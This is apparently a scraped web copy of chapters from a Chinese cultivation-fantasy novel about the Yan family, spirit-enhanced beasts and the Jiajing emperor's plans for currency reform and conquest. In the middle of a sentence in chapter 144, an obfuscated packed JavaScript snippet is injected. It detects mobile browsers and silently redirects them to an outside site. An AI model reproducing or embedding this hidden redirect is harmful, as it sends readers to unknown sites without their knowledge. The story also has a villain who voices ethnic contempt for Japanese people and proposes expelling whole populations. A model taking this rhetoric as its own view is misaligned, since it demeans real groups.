虽然旁人没事不会闲着去地底查看灵脉,但他行事谨慎惯了,自然不会让这种风险出现。毕竟,本命这东西可不会隐身,拿出来就能看到。 不仅如此,这次出关后,全宗的人都知道,他顺利突破到了筑基期。 之后,他又去了一趟四方城以及野市,随后跟刘权说了一声,便又一次宣布闭关了。 至于他修炼的‘帝经’,早就告诉了刘权,是当时在野市的奇遇,对此刘权也没多想,毕竟修士筑基后都要改换功法。 大明仙宗根本没有什么像样的功法传承,原本就打算等嘉靖等人,修为突破后,要么选修独孤三兄弟的,或者选修刘权的。 在要不然,大不了找书院,或者是一些商会购买。 在大角星修仙世界,功法也是可以购买的,有些专门的散修势力,探秘一些遗迹,秘境,会带出来很多功法传承。大部分都是拿来拍卖。 当然,嘉靖没有说功法的名字,只说是火属性的功法。其他人也没有多问,虽然都是同门,但也是很忌讳的。 严府,书房里。 “爷爷,父亲!”一个年龄只有十六七岁,身穿白衣的少年,对着坐在榻上的严嵩和严世蕃行礼,“不知唤孙儿前来,所为何事?” 这少年不是别人,正是严世蕃的儿子,严绍庭! 严世蕃对这个儿子可是极为喜爱的。 无他,只因为这个儿子跟他一般聪慧,甚至比小时候的他,还要聪慧,深得他喜爱。 “绍庭啊,坐。”看到孙子,严嵩老脸上也露出一抹笑容,招了招手,示意孙儿坐下说。 “是。”严绍庭面露笑容,然后上前,搬过一旁的小凳坐了下来,这时严嵩也开口了。 “绍庭啊,可知道叫你来,所谓何事?”严嵩抬手打断了想要开口的严世蕃,身子微微前倾,满面慈祥,眼神 中有考校之色。 严绍庭看了眼身旁的父亲,然后微微一笑,颔首道:“孙儿知晓。” 嗯?听到严绍庭的话,严世蕃一愣,下意识的看向老爹严嵩,意思很明显,我没有告诉他。 严嵩眼底浮现出一抹笑意,没有理会严世蕃,神情间隐隐有期待之色浮现。 他知道这个孙儿聪慧,但还是想看看,这个孙儿,能聪慧到何种地步。 从今日起,严家就要踏上仙族之路了,而这个孙儿,也将是严家未来的支柱之一。 所以,他对这个孙儿是抱有很大期待的。 “后院!”严绍庭没有让严嵩跟严世蕃久等,说着又道:“还有就是……”说着,严绍庭抬头,目光微微一凝,盯着严嵩,道: “还有爷爷身上的变化有关!” 严嵩没有说话,而是微微颔首,道:“你的意思是,这两者有关系?” 严嵩的皮肤变好,这是有目共睹的。 对此严嵩也没有特意瞒着,因为此前,他只是皮肤变得光滑了一些,老年斑少了一些。 这些东西,并不是太过惊艳,其他人看到了,也只会以为严阁老驻颜有方,肯定是找到了什么大补品,毕竟财能养人。 不过让严嵩没有想到的是,自己的大孙似乎是并不这么认为,而且有自己的一套想法。 不仅如此,他竟然能忍着一直不说,就当做什么都没发生,这份表现…太惊喜了! “说说看。”严嵩凝视着孙子,隐含期待,他想知道,孙儿是否能说出自己想的那个答案。 “是,”严绍庭微微点头,而后一字一顿,道:“如果孙儿猜的不错的话,父亲突然让人开辟后院,还翻新土壤,像是做成了田地。” “但我严府又不需要耕种,那就只有两个可能,”严绍庭说着,面露自信,“要么是爷爷您老人家,想要种田,消遣了。” “要么就是这田,另有他用!” “不过,爷爷您年事已高,而且身为内阁首辅,公务繁重,自是不会闲着种田干粗活。” 嗯,其实他还有一句话没说,那就是自家人过的什么奢靡生活,爷爷怎么会种地? “所以,后院开辟出来的田另有他用。” “恐怕要种植一些特殊的粮食,”说着,严绍庭语气微微一顿,又道:“如今大明冒出一些特殊的新粮,金粒儿,甘薯,黄芋……” “这些作物从未见过,但这是宫里传出来的。” “这天下,还有什么粮食,是我严家不知道的呢?但宫里却能拿出来,说明……”说到这里,严绍庭话锋一转,道:“此前,朝廷传的沸沸扬扬的,葬灭阴山有仙人降世。” “之后,内阁下令,爷爷斥责六部高官,谈论虚无缥缈的仙人之说。” “再之后不久,爷爷您的身体突然健朗起来,这两年间,父亲跟爷爷,更是不时的从景王府上,拿一些瓜果、丹药和茶叶、大米……” “这些都太反常了!” “再之后,就是爷爷和父亲的气色越来越好……所以孙儿心中大胆猜测,怕是我大明朝,真有传说中的仙人降世。” “而且,皇上他也已经得到了仙缘!” “今日后院开辟的田地,莫不是我严家也要种植一些仙家谷物?” 严绍庭一番话说完,书房陷入了寂静中。 严世蕃瞪大着眼,惊讶的看着儿子严绍庭,他从未想过,这个儿子的竟有如此智慧。 虽然身为严府大少爷,他能接触到的真相很多,但仅凭这些就能猜到这么多,已然是不凡了,这份智慧和看透事物本质的毒辣眼光。 一瞬间,严世蕃想到了老爹严嵩! 小小年纪,就能有这份眼力,和判断力,关键是敢往那方面想,要知道仙人之说,在其他人听来,都是无稽之谈的。 “你应该还有别的验证之法吧?”这时,严嵩虽然很欣慰,但还是凝视着孙儿问道。 闻言,严世蕃一愣,猛的看向儿子。 被爷爷看穿,严绍庭面色一怔,下意识的看向老爹严世蕃,目光闪躲道:“确实,实不相瞒,父亲此前给孙儿的酒和果子……” “都被孙儿拿去喂猫了,而且那猫似乎也变了,变的越来越大,像是一个怪物……爷爷不问,孙儿也瞒不了太久了……” 猫?!喂猫!!! 严世蕃一愣,继而大怒,“你把老子给你的灵酒,灵果,还有那些灵物,用来喂猫!” 严世蕃着实被这个败家子给气到了。 自己都舍不得吃喝,还要分一半给他的灵物,竟然被用来喂畜牲! 不过,严嵩却发现了关键,猫变异了! “……” 太忙了,先更6K看着,明天加更~~~ 第一百四十四章 第三、四阶段,未来风口,癫狂严世蕃,一年内肃清日本! “父亲,”看着严世蕃发怒,严绍庭眼神闪躲,面上有些尴尬,不过还是道: “孩儿只是想验证一下心中猜想,毕竟那些瓜果、酒水我严家又不缺。可是父亲给孩儿的时候,却万分郑重,难免,难免……” 说着,说着,严绍庭的声音逐渐减小。 “世蕃,”严嵩抬了抬手,“绍庭能仅凭这些信息,就判断出这么多,我们应该高兴。”说完,严嵩和蔼的看向孙儿,“绍庭,你方才说的大猫,能带爷爷跟你父亲去看看吗?” 听到爷爷严嵩要看自己养的大猫,严绍庭心中一动,点了点头,起身。 祖孙三人朝着严绍庭的住处而去。 严府很大,严绍庭的住处,是一个独立的幽静小院,不过此时小院已经上了一把锁,门口则有两个严绍庭身边的跟班守着。 “老爷!”看到严嵩,两个跟班面色一变,当即上前行礼。 “把门打开!”严世蕃冷着脸道。 他对儿子的败家行为,还是有些不满。 那可是灵物资源啊,放眼整个大明,也只有那十几号人才有资格使用,结果自己的败家子竟然拿来喂畜牲,什么家庭啊?这么造?! 两个跟班看了眼自家少爷,然后默默的去开门。 “你们就在这里。”严绍庭吩咐了一声,然后在门口做了一个请的手势,“爷爷,父亲。” 严世蕃扶着严嵩进入院子,严绍庭在最后面带上了房门,刚进入小院,跟着就听到一声低沉的猫叫,下一刻主屋的房门猛的冲开。 “嘭!”下一刻,就见一只身高约五尺,体型更是庞大的宛若大虫一样的橘色大猫,严嵩跟严世蕃下意识的倒吸了口凉气。 看到如此巨兽,饶是严嵩,也是下意识的后退了几步,眼神中说不出的震惊之色。 不过好在,这只猫的脖子上,拴着无比粗壮的铁链,腰腹位置也有铁链锁着。 一双金色竖瞳,凝视着严家祖孙三代。看到严绍庭的时候,发出一声呜咽声。显然,它是认出了这个小家伙就是自己的主人。 “怎么会如此之大?!”此时,回过神来的严世蕃倒抽了一口凉气后,扭头看向严绍庭,“你到底喂了多少?” 被严世蕃呵斥,严绍庭低下了脑袋,“父亲给的丹药、酒水、瓜果,还有稻米……” “我都会分一半给‘将军’。” 将军,是严绍庭给这只橘猫取的名字。 “它也不知道怎么回事,自从吃了那些东西开始,身体就长的飞快,之后我就停了下来,不过食量却越来越大……” “……逆子!”听到严绍庭竟然把自己给他的一半灵物资源用来喂猫,严世蕃顿时气急,指着严绍庭,怒声道:“你把这畜牲,除了浪费家里的粮食,养这么大有什么用!” “等会我就让人把这畜牲宰了……” 严世蕃还在骂骂咧咧,严绍庭则是低着脑袋,大气都不敢喘一声。 不过一旁的严嵩,此时却是盯着眼前,低下脑袋,舔着爪子的大猫,老眼中有莫名之色浮动,嘴中呢喃自语。 “喂养灵物,可以让生灵变大……”说着,说着,严嵩突然身体一怔,继而眼中猛的爆射出一道精光,“若是朝廷战马,以灵物滋养,那岂不是可以供养出一支,空前强大的骑兵?” “什么?”听到老爹的这话,严世蕃一愣,他有些没反应过来,怎么好端端的,老爹又扯到了骑兵的身上? “绍庭,你这次立了功了!”严嵩说着,脸上露出笑意,伸出手拍了拍孙儿的肩膀,而后看向严世蕃:“你还不明白吗!” “这些畜牲,吃了灵物,身体会变得巨大无比,自然威力也会不俗,若是朝廷的战马,也用灵物滋养,那会何等强大?” “骑兵若是有了这些战马,那么谁还能对我大明造成威胁?届时,周边诸国,皆可踏灭!” 听到老爹这么一说,严世蕃也终于回过了神,瞪着眼下意识的看向那坐在地上,看着他们的大猫。 他刚才也是气急,一时间竟是忽略了这其中的好处。 一只随手可拿起来抓在手里把玩的小猫,现在竟然变得如此巨大,那岂不是意味着这只猫的速度还有攻击力也增加了? 那同样的道理,如果给朝廷的战马也服用一些灵物,让它们的身体产生变化,那是不是意味着这些战马的速度,耐力,也会变得更快,更强? 若是朝廷有这样一支骑兵大军的话,试问这世上还有什么样的兵力可以和大明的军队相比? “对啊!”突然,严世蕃似乎是又想到了什么,只见他双眼放光的抚掌大笑道: “如此一来,那么周边的诸国,还有北边的草原部落,岂不是可以在短短几年时间内就彻底的收服,成为我大明版图的一部分?” “土地!”严世蕃激动道:“土地越多,就意味着未来我大明仙朝的灵物资源会更多……” 一时间,严世蕃整个人都因为看到巨大利润,而开始颤抖起来。 “爹,”突然,严世蕃撇过头,看向严嵩,神情激动道:“那我们还等什么,赶紧进宫,把这个消息告诉皇上。” “豢养战马 ,培养全新大军的事,必须由我严家来负责!” “还有日本,还跟他们玩什么内耗,直接派一支骑兵大军,用战船横渡过去,直接横推!”严世蕃一边说一边兴奋的开始踱步。 “日本是我严家的,还有琉球,安南,暹罗……都是我严家的!” “还有这地方的人,嗯,干脆装船全部赶到海上去,随便找个岛流放,剩下的土地,全部改成灵田,对,就这么做!” 看着兴奋的严世蕃,饶是严嵩此时老脸也不由的一黑,他觉得这个儿子太贪了。 真的是又狠,又毒,又疯,就像…就像是一条毒蛇,贪心不足要吞象,也不怕撑死。 竟然想着把周边诸国的土地,都划到严家的名下。有没有想过皇上的感受? 严嵩不用想都知道,只要他严家敢拥有这么多土地,到时候迎来的必然是灭顶之灾。 当然,也就是他不知道严世蕃的本命,本就是一条邪恶的毒蛇,否则就不会惊讶了。 “进宫先不急,”严嵩的话慢吞吞的,但却很有穿透性,打断了严世蕃对未来美好生活的幻想,“今日,内阁把奏本呈上去了。” “明日,皇上定是要召见内阁玉熙宫议政的,而且……”说着,严嵩转身,严绍庭赶紧懂事的上前,搀扶着老爷子。 “朝廷若是要豢养战马,重新对军队进行改制,也不会轮到我严家的头上。” “此外,”说着,严嵩瞥了眼看向自己的严世蕃,“你只看到了用灵物资源,豢养战马,培养强大的骑兵,如此就能横推诸国……” “可战马强大了,军需也必然是一笔钱,虽然户部的账上,还有四千多万。可这笔钱,皇上显然有了其他的打算……” “最主要的是接下来要施行的是赵贞吉的‘聚田削宗’的国策,之后朝廷要进行第二阶段的土地改制,这些都要钱!” 此时,祖孙三人已经来到了院子外。 “我总觉得皇上后面的第三阶段和第四阶段的改制,是一盘更大的棋,就户部账上那点钱,估计还不够,总的来说,大明还是缺钱。” 严嵩说到钱的时候,特意加重了语气,显然他的意思,这个“钱”指代的更多,比如灵物! 其实严嵩能理解严世蕃的想法。 若是大明真的能培养出这么一支恐怖的大军……那横推诸国,真的不是一句玩笑。 甚至会在短时间内就能完成,面对这到眼前的,堪称是触手可及一般的利益,别说严世蕃了,就算是他也忍不住心动。 一只猫,就喂了几天灵酒,灵瓜,灵果,就长的与大虫一般大小。 那些战马要是被持续的喂养灵草,必然会越来越强大,骑兵的威力自然也会更强。 但这里头,还有许多不得不考虑的因素,比方说战马强大了,将士能否控制得住? 那将士们整体,是否也要增强?否则再强也是战马强,那将士们怎么变强?莫非要分灵物资源,这可能吗?他们自己都不够分的! 听着老爹这一番话,严世蕃顿时也冷静了下来。 “说来说去,还是缺钱!”严世蕃以拳击掌,“之前还觉得有那四千万足够做很多事,现在想来,完成‘聚田削宗’的国策之后,还有皇上要完成的第三阶段和第四阶段改制……” 说着,严世蕃眉头一皱,“爹,到时候去哪弄钱去?” “之前,皇上闭关时,让内阁跟六部,拿出一个钱币改制的法子来,”严嵩说着,“如今的大明,已经渐渐的从铜钱改为了白银。” “税收也都是以白银算,尤其是海外诸国的贸易,近些年也都用白银,所以……” “我明白了!”听到这里,严世蕃眼前陡然一亮,看着老爹严嵩,满脸佩服之色,道:“日本的石见银山!爹,您早就想到这一步了?” “呵,”听到儿子这话,严嵩微微撇头,斜睨了儿子一眼,老脸上露出笑容,“等到把日本那边拿下,必然会有大量的白银涌入大明。” “皇上此前说,必须要在嘉靖四十四年之前,拿出一个钱币改制的法子来。” “现在已经是嘉靖四十三年了,距离皇上定下的日子,只剩下了一年。” “一年内,日本必须要肃清!”说着,严嵩的语气突然严肃下来。 而在他识海中那头趴着的黑虎,陡然抬头,腥红的眸子中,爆射着贪婪凶横的目光。 要论贪婪,严嵩可是丝毫不比儿子严世蕃小,但不同于严世蕃空有野心,没实力。严嵩是,看上那块肥肉,先布局,静静的观察。 之后不出手则已,一出手必然是把肥肉吃到嘴。 “放心吧爹,按照当初的计划,织田信长得到徐元亮的支持,已经开始朝着整个日本西部开始扩张了起来。”严世蕃说着,将现如今日本那边的局势给严嵩汇报道。 “如今日本‘山阴丨道’、‘南海道’、以及整个‘山阳道’东部,都已经在他的掌控之中,一年内怎么也该结束了。” “武田信玄呢?”这时,严嵩又问道。 “进度差不多,毛海峰有裕王在背后支持,我听说谭纶想要往‘龙鳞岛’派兵,不过却遭到了胡宗宪的拒绝… …”说着,严世蕃语气迟疑,道:“爹,我们是不是也该往‘翔云岛’派兵了,这个胡宗宪,我就怕到时候出幺蛾子。” “放心吧,到时候若是要对日本动兵,必然绕不开皇上,到时候汝贞必定不会违逆。” “这胡宗宪就是白眼狼!”听到严嵩这么说,严世蕃顿时大怒,“他这是摆明了要跟我严家脱离关系了吗?” “等皇上的命令,这没错,可若是我严家要他办点事,他还给拿捏上了?怎么着?他胡宗宪,跟我严家是盟友关系不成?” “投靠我严家的人,哪个像他一样?”说着,严世蕃眼神一冷,“一颗不受控制,还想着脱离主人的棋子,不如舍弃!” “爹,不如就趁着这个机会,彻底弃了吧!” 严世蕃的想法很简单,他不喜欢胡宗宪这种办事态度,你听皇上的,这是应该的,可对严家的命令,直接无视,阳奉阴违,这就不行。 “严世蕃!”严嵩直接开口呵斥,“汝贞不是我们的棋子,他是我的学生!” “以后,不准你再针对他!” “一个胡宗宪,一个唐顺之,一南一北,受了我们家多大的恩,您养着他们,等同于养了两只白眼狼……”严世蕃说着,直接快步来到严嵩前面,拦住去路,怒声道: “您别以为我什么都不懂!” “您不就是看清楚了,以后大明注定了要对外扩张,朝堂之上少不了武官派系吗?” “说不定,日后内阁也要扩充,怎么着?您是想把胡宗宪,还是唐顺之推进阁?” 听到严世蕃的话,严嵩眼皮一抬,没想到这个儿子竟然能看到这一步。 确实,现如今的大明,土地改制,吏治整顿,国力上涨,皇上对他们布局瓜分日本,又没有阻止,显然日后肯定是要扩张的。 对外扩张,意味着什么?战争! 战争就离不开武官,日后朝堂之上的新贵,必然是武勋官员。 所以,他必须要提前布局,让内阁有自己一系的武勋人员。 没想到,严世蕃竟然也看出来了。 只能说这个儿子,最近一段时间,进步真的很大。 严世蕃越说越激动,语速也越来越快。 “您别忘了,我们全家都是世人口中的贼,您以为把这两头白眼狼推进阁了,他们到时候就会感激您?跟您站在一起对付清流?” “当初是谁说的?我们严家只能给皇上做脏事,只能当奸佞?”严世蕃说着,怒极而笑,“哈啊,现在您以为推两个世人口中对抗贼夷的封疆大吏,大功臣,就能当忠臣了?” “我告诉您,你推他们进阁,他们也不会感激您,就算您跟再多的忠臣站一块,世人也不会说您是忠臣的,黑就是黑!” “够了!”被严世蕃这一通说,严嵩也怒了,“我决定的事情,你无权,也别想干涉,我想用谁,推谁进阁,也轮不到你插手!” “别忘了,我才是首辅!”说完,严嵩直接拉着孙子大步离去。 “……你!”看着老爹的背影,严世蕃脸色顿时铁青,顿时指着严嵩的背影,呵斥道:“你迟早会后悔的,哼!” 说完,也拂袖大步离去。 他原本只是试探一下,没想到还真让他给猜对了,老爹竟然真打算把胡宗宪和唐顺之推进内阁。 这在他看来,简直就是在培养敌人。 翌日午时,天穹之上,飘洒着淅沥沥的雨夹雪。 西苑宫墙下,赵贞吉手揣在袖口里,老神在在的站在徐阶等人身边。 “孟静,你这‘聚田削宗’的国策要是成了,就是大功臣了,”张居正看着赵贞吉,说话间抚了抚长须,“届时,怕是有仙法赐下。” 闻言,徐阶和高拱,也都不由的朝着赵贞吉看去。 “此举,也会把宗室给彻底得罪死。”赵贞吉面上露出苦笑,实则心里却是喜笑颜开。 因为就在昨晚,吕公公找上了他,亲自传给了他仙法,但这事没人知道。 而且,他也没打算告诉这些,目前来看是盟友的人,他打算默默修炼,到时候再悄悄的惊艳所有人,嗯,到时候这些人表情肯定很有趣。 而且,没有人知道的是,赵贞吉心里也有自己的打算,可不光是徐阶等人有政治抱负和治国理想,他赵贞吉何尝没有? 尤其是,能在未来,亲手打造仙朝,他也无法免俗,但他有耐心,很长很长! 听到赵贞吉说,会把宗室给得罪死,众人笑了笑,也没有否定。 宗室的田产被收回,朝廷不再供养,但也不会彻底放弃宗室,皇室是不会允许宗室废掉的,毕竟日后仙朝发展起来,宗室也是一股力量。 一股代表着朱家的力量! 所以,长久来看,赵贞吉为了自己的政绩,拿整个朱家宗室献祭,无疑是宗室的敌人。 以后的路,怕是不会好走了。 很快,严嵩父子到来,之后裕王跟景王也相继到来,众人一番寒暄后,相伴入玉熙宫。 玉熙宫中,内阁和司礼监分两列站定,严嵩依旧坐在火炉旁,佝偻着背,垂垂老矣。 一息白色麻衣宽松道袍的嘉靖,舒服惬意的坐在御 座之上。 “内阁重新拟定的‘聚田削宗’的国策,朕已经批了,此事本就是赵卿提出,”嘉靖说着,手指抬了抬,虚指赵贞吉,道: “你又兼着户部,此事交于户部再合适不过,赵卿以为如何?” “是,”赵贞吉一步踏出,躬身一礼,“臣定不负陛下所望!” “好了,此事就这么定了,”嘉靖说着一摆手,“有了这‘聚田削宗’的国策,之前严阁老提出的问题也就顺利解决了。” “三年,”嘉靖抬起三根手指,“三年时间,到嘉靖四十六年,完成第二阶段。” “让我大明朝所有的土地,收归朝所有,之后按人头分地。” “现在来说说朕的第三和第四阶段。” 听到这里,严嵩耷拉着的眼皮微抬了抬,眼底有精光闪过。 其他人也是神色认真的听着。 “第三阶段和第四阶段应是一起的,”嘉靖面容微宽,“第三阶段施行的时候,第四阶段也会一并开始,第四阶段便是……” “对外扩张!” 果然!听到这四个字,内阁众人心头一怔,但对这个决定却没有任何的意外。 “随着第二阶段完成,大明朝的人口数量会暴增,百姓的需求也会越来越高,大明朝现有的土地和物资,都不足以支撑。” “所以,必须要开启战争,所以第三阶段,朕打算施行‘战功激励政策’。” “如此一来,不仅可以提高士气,将士们可以通过在战场上表现优秀来获得奖励。” “这些奖励,可以是土地,官爵,地位,甚至是……”说着,嘉靖看了众人一眼,悠悠道:“丹药、灵物资源、仙法!” 听到日后当兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669361|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的可以通过战功,获得丹药、灵物资源和仙法后,内阁众人也不淡定了。 都是官场的老油子,对未来大明的走向,可以说看的非常透彻。 试问,大明朝未来的“风口”在哪?毫无疑问,是战争,大明之外的诸国土地! 也就是说,只要参军了,只要上战场了,杀敌得功了,就能用战功获取仙法。 那若是,将自己家族的后辈子弟,也安排从军,那岂不是说,修仙家族指日可待? 对,现如今的内阁众人,每个人心里都有一个计划,那就是打造长生不朽的修仙家族。 起初他们都会觉得,这是个漫长的时间,但他们修仙了,可以等,可现在不一样了。 皇上给他们指出了一条短时间内,打造修仙家族的明路。 将众人的神情收入眼底,嘉靖眼底有笑意浮现,这正是他想要的结果。 如今的大明,内部已经修复完成了,国力蒸蒸日上,灵气的问题也基本上算是变相的解决了,他自然要加快仙朝的建造了。 第三阶段,军功激励政策必然会给因为土地改制第二阶段造成的人口过剩而引发的各种问题,提供一个宣泄口,这个宣泄口就是战争。 发动战争,既能解决内部愈演愈烈的竞争需求,引发的各种社会矛盾,还能增强国力。 这是强国之道! 总有一天,地球上的土地,资源,全部都变成大明的,当大明朝仙朝发展到一定地步,那么大明的未来就是满天星海。 庞大的宇宙,无尽的星辰大海,会为大明提供源源不断的资源,大明也会越来越强。 “当体量达到一定地步后,那么……”嘉靖想到了另外一方,更为宏大的修仙世界。 心思念头一闪而逝,压下心中突然抬头的野心,嘉靖又恢复冷静,看向众人。 “怎么?内阁对朕的决定,有异议?”说着,虽然语气平静,却带着威严。 “臣等不敢,吾皇圣明天纵!”回过神的众人纷纷下跪,赶紧表明心迹。 “起来吧,”嘉靖抬了抬手,示意众人起身,“第二阶段,三年内完成。” “这三年内大明要扩军,要赚钱,这些钱,要用来增强我大明的军队,三年后正式对外发动战争!”说着,嘉靖双臂抬起,霸气道:“朕,要这普天之下,皆为我大明王土!” “臣等,定为大明鞠躬尽瘁,甘死如饴!”众人齐声说道。 “好了,”看着下方这一群贪婪的虎狼群臣,嘉靖罢手,道:“朕记得,闭关之前,要你们内阁,在嘉靖四十四年前,拿出一套‘钱币改制’的法子来,如何了?” “回皇上,”严嵩缓缓抬起双臂拱手,“这一年时间,内阁总共拟定了‘钱币改制八策’,”说着,严嵩从袖口中掏出一本厚厚的奏本,双手呈上,“以此作为钱币改制国策。” 吕芳从严嵩手中接过奏本,呈交给嘉靖,而严嵩也随着嘉靖打开奏本的同时继续开口。 “随着如今大明对海外诸国的贸易,导致白银的使用,已经远超铜钱。” 其他人也都是微微点头,此前税收在嘉靖三十九年开始,就已经用白银折算了。 “因此,”严嵩说着,回头看了眼内阁众人,“内阁决定,让白银彻底取代铜钱。” “为此,制定了这‘钱币改制八策’。” “这第一策,便是加强对白银的管控,”严嵩说着,语气微缓,“建立‘ 大明银司’,负责白银的铸造、流通、质量检查和监管。” “以此确保民间流通的白银,符合标准,防止劣质白银,扰乱秩序。” “此外,着刑部,颁发‘白银律法’,对私自铸造、掺杂白银,进行严厉惩治。” “确定白银的地位,彻底废除铜钱!” “当然过程不是一蹴而就的,白银取代铜钱是逐步的。” “第二策,建立‘大明银库’,职责类似于户部,但不同于户部,银库负责储备白银,以应对日后可能出现的危机。” “第三策,对税制进行改革,明确铜钱被废除,使用白银折算。” “第四策,可以适当的提高一些商人和工匠的地位,并鼓励商人经商,工匠发展新的技术,比如大明的火器、军械……” “第五策,对南北诸国的交易,进行严格管控,比如对关税的制定,颁布专门的律法,以此来调节白银流入大明的数量。” “激励商人交易可以为大明带来大量财富的商品,比如丝绸、瓷器等。” “不过要严格控制物价。” “第六策,将各方面的收入,定期做公示,可以将京察制度,推广至全国,年限可以初定为,一年一次,以确保财政透明!” “还有便是每年的财政支出,必须要用到刀刃上,比方说,随着国力的提升,国土的扩张,一些必要的支出也绝对不能少,比方说军需、学堂、若是可以的话,还有医馆这些。” “第七策,就是对道路的改善、运河灌溉这些大头的支出。” “第八策,大明各省、各府县都要设立‘大明银库分库’方便各地的货币流通和管理。” 随着严嵩的讲述,嘉靖也已经在神识的帮助下,看完了奏本上的全部内容。 “不错,”看着关于货币的改制之法,还有因此而造成的麻烦做出的应对之法,嘉靖面容微宽,“内阁没有让朕失望。” 被夸赞,众人都是微微躬身,以示谦虚。 “既如此,那下个月起,便开始向全国推广白银改制的新政,先从东南地区开始。”嘉靖四十四年,白银会大量流入。 这些白银的流向,主要是从日本和美洲那边流过来的低质量白银。 不过如今,日本内部因为清流和严党的争斗,导致内部混乱不堪,战火几乎遍及全境,白银也不会大面积流入。 一年时间,从东南地区改制,便可有效的控制从美洲那边流进来的劣质白银。 “不过,时间上还是有些不够……”想着,嘉靖手指轻抬了抬,心中倒是有了一个决定。 “朕听闻,你们二人对日本内政,进行了干预?”嘉靖突然开口,看向裕王跟景王。 闻言内阁众人都是一怔,心中暗道一声“来了”,皇上终于要过问日本了。 “是,”裕王跟景王赶紧起身,“回禀父皇,事情是这样的……” 然后二人就把日本派使者前来,寻求大明支持,以及他们各自支持一个家族的事情说了一遍,当然是避重就轻了。 只说他们各自支持一人,是为了加快日本的统一,帮助日本的百姓尽快过上太平的日子。 毕竟,朝堂之上,他们可不能说是他们二人在内斗,皇家的体面还是要放在首位的。 “朕明白你们是怎么想的,”嘉靖抬了抬手,“你们对日本有何看法?” 听到嘉靖这么一问,众人一怔,不过很快都明白了自家这位皇帝的意思。 这是看上日本那块地了,清流一方,高拱闻言就要开口,却被张居正一把扯住袖口。 一眼看过去,却见张居正的目光看向身旁的严世蕃。 见此,高拱顿时恍然! 这种图谋他国疆土的行为,自然不能是他们这种为官正派的人做了。 “哼!”察觉到高拱和张居正那几乎是毫不掩饰的“让严世蕃上”的眼神,小阁老冷哼一声,轻甩衣袖,大步踏出,道: “回禀皇上,依臣对此族的了解,简而言之就一句话:知小礼而无大义,畏威而不怀德,强必寇盗,弱而卑伏,不顾恩义!” 严世蕃站在朝堂之上,环视众人,侃侃而谈,道:“臣翻阅史书,对此族有着深刻的了解,以上所言,皆有史书为证!” “此族,自隋大业三年,遣使者学习我中原文化,受了隋朝的恩惠,却在唐灭隋后,没有为其打抱不平,竟然不与大唐开战!” “此乃忘恩负义!” 听到严世蕃这话,众人神色古怪,这严世蕃为了有个攻占他国的理由,真是脑子都不要了。 小小的日本,为隋朝向大唐开战?你要不听听你说的这是什么话? 而且,据他们所知,隋朝还没开始教化日本呢,就被灭了好吧? 给那日本所谓的天皇十个胆子,也不敢跟天可汗开战吧?这是吃拧了,嫌命长? “之后,此族便不知廉耻的将遣隋使,变成了遣唐使,然后继续学习中原圣贤文化。” “正是因为受了大唐教化,此族中大兄皇子,才能在中臣镰足的支持下政变成功。” “之后,此族便开始长期的变法,发展,之后大唐覆灭,此族依旧 第一百四十五章 皇上布局很大,可能与仙人有关!丰臣秀吉要卸磨杀驴? 灵兽?! 听到皇上口中的呢喃声,众人都是目露好奇之色,朝着嘉靖看了过来。 见众人对灵兽好奇,嘉靖稍稍回过神,而后道:“所谓灵兽,便是吸食天地灵气,然后修行自身的一种兽类,与人族一样。” “我人族可以修炼功法,让自己成为修仙者,同样的道理,兽类也可以。”而后,嘉靖便将灵兽的一些特性说了一遍。 在修仙世界,其实古兽这种称呼,不过是大荒对兽类的一种统称,如果要细分的话,古兽中包含了凶兽、灵兽还有特殊的珍兽。 凶兽顾名思义,大凶之物。 最大的特点就是强大,但灵智偏低,或者是没有灵智,只知道吞噬资源,强大,生存。 而后是灵兽,顾名思义,灵智极高,同时修炼到一定程度,还可以化形,修炼有专门的功法,这些功法都是传承自血脉中的。 根据《修行通识纪要》中讲述,传闻在古早之前,那时候根本没有人族。大地上,有的只有各种各样的古兽家族。 而所谓的化形为人,不过是古兽修炼到一定境界后,所具备的天赋神通而已。 灵兽,每一只都有着融于血脉深处的天赋神通。 这些神通会随着血脉而传承下去。 不仅如此,灵兽的天赋神通,还是一套独特的修行功法。 当一只灵兽出生后,功法会由浅到深的出现在脑海中,引导着灵兽踏上修行之路。 之后,人族出现,然后慢慢的取代了古兽,主宰了大地,成为了大地的主人。 最后,则是珍兽了。同样的意思,珍兽具备凶兽的修炼速度和攻击力,也具备灵兽的智慧和血脉传承,属于是凶兽和灵兽的结合体。 而事实也是如此,传闻在古早之时,第一只珍兽,就是由灵兽和凶兽结合而成。 结合了二者的所有优点,精华于一身,不过概率很小,可惜的是存活率很低,活到成年的更少,此外也不是说,是个凶兽和灵兽结合,就能诞下完美的珍兽,绝多数都是死亡。 这要看天时地利人和,甚至是运气。所谓,物以稀为贵,而这,便是珍兽二字的来由了。 “原来,这就是灵兽吗?”听完嘉靖对灵兽的定义后,众人都是各个目露惊讶之色。 “兽类,竟然能化形成人?!” “这岂不是那些只怪传说里的说,山精妖怪?!” “灵兽?当真是神奇!” 一时间,高拱、张居正等人都是在心中惊讶不已。 其实他们不知道的是,嘉靖告诉他们的灵兽,是按照修仙世界的标准来划分的。 对于大明来说,就严家那只大猫,只因为吃了一些灵物资源,从而产生变异,距离传说中的灵兽还差的很远。 双方根本不是一个层次。 一只普通的兽类,因为灵气的原因,从而身体发生了一些变化,变得巨大化,攻击力,耐力等等都全部暴涨,说白了,本质也依旧不过是一只凡兽而已。 “当然,”见众人议论纷纷,嘉靖抬了抬手,待众人安静下来,将目光朝着他看过来后,又继续开口,笑道:“朕所说的灵兽,可不是严阁老家,这只因为吃了灵物变大的猫。” “而是其他地方的。” 其他地方的?在座的全都是官场‘老油子’,自然是第一时间就从皇上的话里,捕捉到了关键词汇,而后迅速得出结论。 这一句其他地方,说的实在是太明显了。 严阁老家就在大明,大明是什么?人间,而且这只大猫,还不是灵兽,那什么地方有? 嗯,还能是什么世界呢?除了传说中的仙界。他们实在是想不到别的了。 皇上他,果然跟仙界有关系,所以一直以来。他们猜测的都是对的,皇上他果然和另外一个世界有了联系。 